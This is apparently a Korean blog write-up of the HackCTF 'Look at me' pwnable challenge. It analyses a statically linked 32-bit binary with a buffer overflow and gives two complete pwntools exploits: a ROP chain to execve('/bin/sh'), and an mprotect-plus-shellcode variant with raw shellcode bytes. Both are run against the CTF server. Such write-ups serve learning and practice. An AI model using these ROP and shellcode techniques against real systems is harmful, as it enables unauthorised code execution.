시작
안녕하세요 :D
250점 문제도 한 두개밖에 남지 않았네요.
확실히 글로 적어놓으니깐 옛날에 풀었던 문제들 참고할 수 있어서 좋은 것 같아요 ㅎㅎ
이번에도 그랬습니다!! 시작해보죠.
Write UP
root@goorm:/workspace/LCH_Server/HackCTF/18.Look_at_me# ./lookatme
Hellooooooooooooooooooooo
hi
입력 한 줄 받고 끝납니다.
root@goorm:/workspace/LCH_Server/HackCTF/18.Look_at_me# file ./lookatme
./lookatme: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=d2a1b10d006e4d6c4e84305383b4dc86481d87da, not stripp
ed
정적 링킹 파일이네요. 함수가 엄청 많을 것 같습니다.
gdb-peda$ pd look_at_me
Dump of assembler code for function look_at_me:
0x0804887c <+0>: push ebp
0x0804887d <+1>: mov ebp,esp
0x0804887f <+3>: sub esp,0x18
0x08048882 <+6>: sub esp,0xc
0x08048885 <+9>: push 0x80bb328
0x0804888a <+14>: call 0x804f2a0
0x0804888f <+19>: add esp,0x10
0x08048892 <+22>: sub esp,0xc
0x08048895 <+25>: lea eax,[ebp-0x18]
0x08048898 <+28>: push eax
0x08048899 <+29>: call 0x804f120
0x0804889e <+34>: add esp,0x10
0x080488a1 <+37>: leave
0x080488a2 <+38>: ret
End of assembler dump.
단순 BOF 문제임을 알 수 있습니다.
statically linked이기 때문에 가젯도 넘쳐날 것이구.. 여러 풀이 방법이 있겠지만 저는 int 0x80
가젯을 이용해서 풀겠습니다.
pop edx; pop ecx; pop ebx; ret
가젯과 pop eax; ret
, int 0x80; ret
가젯만 있으면 되겠네요.
root@goorm:/workspace/LCH_Server/HackCTF/18.Look_at_me# rp-lin-x86 -f ./lookatme -r 4 | grep "pop edx ; pop ecx ; pop ebx ; ret"
0x0806f050: pop edx ; pop ecx ; pop ebx ; ret ; (1 found)
root@goorm:/workspace/LCH_Server/HackCTF/18.Look_at_me# rp-lin-x86 -f ./lookatme -r 4 | grep "int 0x80 ; ret"
0x0806f630: int 0x80 ; ret ; (1 found)
root@goorm:/workspace/LCH_Server/HackCTF/18.Look_at_me# rp-lin-x86 -f ./lookatme -r 4 | grep "pop eax ; ret"
0x080b81c6: pop eax ; ret ; (1 found)
역시 다 있어요.
gdb-peda$ vmmap
Start End Perm Name
0x08048000 0x080e9000 r-xp /workspace/LCH_Server/HackCTF/18.Look_at_me/lookatme
0x080e9000 0x080eb000 rw-p /workspace/LCH_Server/HackCTF/18.Look_at_me/lookatme
0x080eb000 0x080ec000 rw-p mapped
0x097a0000 0x097c2000 rw-p [heap]
0xf779e000 0xf77a1000 r--p [vvar]
0xf77a1000 0xf77a2000 r-xp [vdso]
0xfff17000 0xfff38000 rw-p [stack]
“/bin/sh”를 넣을 주소는 0x80eb000
으로 하겠습니다.
코드입니다!!
from pwn import *
#context.log_level = "debug"
#p = process("./lookatme")
p = remote("ctf.j0n9hyun.xyz", 3017)
payload = ""
pppr = 0x806f050
int80 = 0x806f630
pop_eax = 0x80b81c6
bss = 0x80eb000 + 0x100
p.recvuntil("o\n")
payload += "A" * 28
payload += p32(pop_eax)
payload += p32(0x3)
payload += p32(pppr)
payload += p32(8)
payload += p32(bss)
payload += p32(0)
payload += p32(int80)
payload += p32(pop_eax)
payload += p32(0xb)
payload += p32(pppr)
payload += p32(0)
payload += p32(0)
payload += p32(bss)
payload += p32(int80)
p.sendline(payload)
p.send("/bin/sh\x00")
p.interactive()
[+] Opening connection to ctf.j0n9hyun.xyz on port 3017: Done
[*] Switching to interactive mode
$ ls
flag
main
$ cat flag
//flag!!!
Exploit!!
추가 : mprotect()를 이용한 메모리 권한 변경 풀이
다른 분 풀이는 어떨까 찾아보던 중 mprotect() 함수를 이용해서 권한을 바꿔 쉘코드를 집어넣은 풀이가 보였습니다!!
알아두면 유용할 것 같아서 적어놓겠습니다. (출처 : https://정영호.kr/194)
mprotect()는 3개의 인자를 받는데, 순서대로 “권한을 줄 메모리 시작위치, 길이, 권한” 입니다.
주의할 점은 권한을 줄 메모리 시작위치를 4096, 0x1000의 배수로 맞춰주어야 한다는 것이에요.
이를 이용해서 bss 영역에 쉘코드를 넣어주고 mprotect()로 bss의 권한을 rwx로 준 뒤 bss로 리턴하면 쉘이 떨어진다!!
이런 원리입니다.
코드로 표현하면
1. gets(bss + 0x100) → bss + 0x100 영역에 쉘코드 저장
2. mprotect(bss, 10000, 7)
입니다.
필요한 가젯 mprotect()의 주소, gets()의 주소, bss의 주소, pppr, pr 이에요.
익스플로잇 코드는 아래와 같습니다.
from pwn import *
#context.log_level = "debug"
#p = process("./lookatme")
p = remote("ctf.j0n9hyun.xyz", 3017)
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"
payload = ""
pppr = 0x806303b
bss = 0x80eb000
pr = 0x80681a3
mprotect = 0x806e0f0
gets = 0x804f120
p.recvuntil("o\n")
payload += "A" * 28
payload += p32(gets)
payload += p32(pr)
payload += p32(bss + 0x100)
payload += p32(mprotect)
payload += p32(pppr)
payload += p32(bss)
payload += p32(10000)
payload += p32(7)
payload += p32(bss + 0x100)
p.sendline(payload)
p.sendline(shellcode)
p.interactive()
[+] Opening connection to ctf.j0n9hyun.xyz on port 3017: Done
[*] Switching to interactive mode
$ ls
flag
main
$ cat flag
//flag!!!
Exploit!!
마무리
mprotect() 신기하네요.. 메모리 영역의 권한을 직접 건드려 쉘코드를 실행시키다니..
복잡한 가젯이 필요하지도 않고, 유용하게 쓰일 것 같습니다 ㅎㅎ
감사합니다 :D
'CTF_Write_UP > HackCTF' 카테고리의 다른 글
[HackCTF] Pwning (0) | 2019.09.26 |
---|---|
[HackCTF] Gift (0) | 2019.09.23 |
[HackCTF] Beginner_Heap (0) | 2019.09.23 |
[HackCTF] RTL_Core (0) | 2019.09.22 |
[HackCTF] Random Key (0) | 2019.09.22 |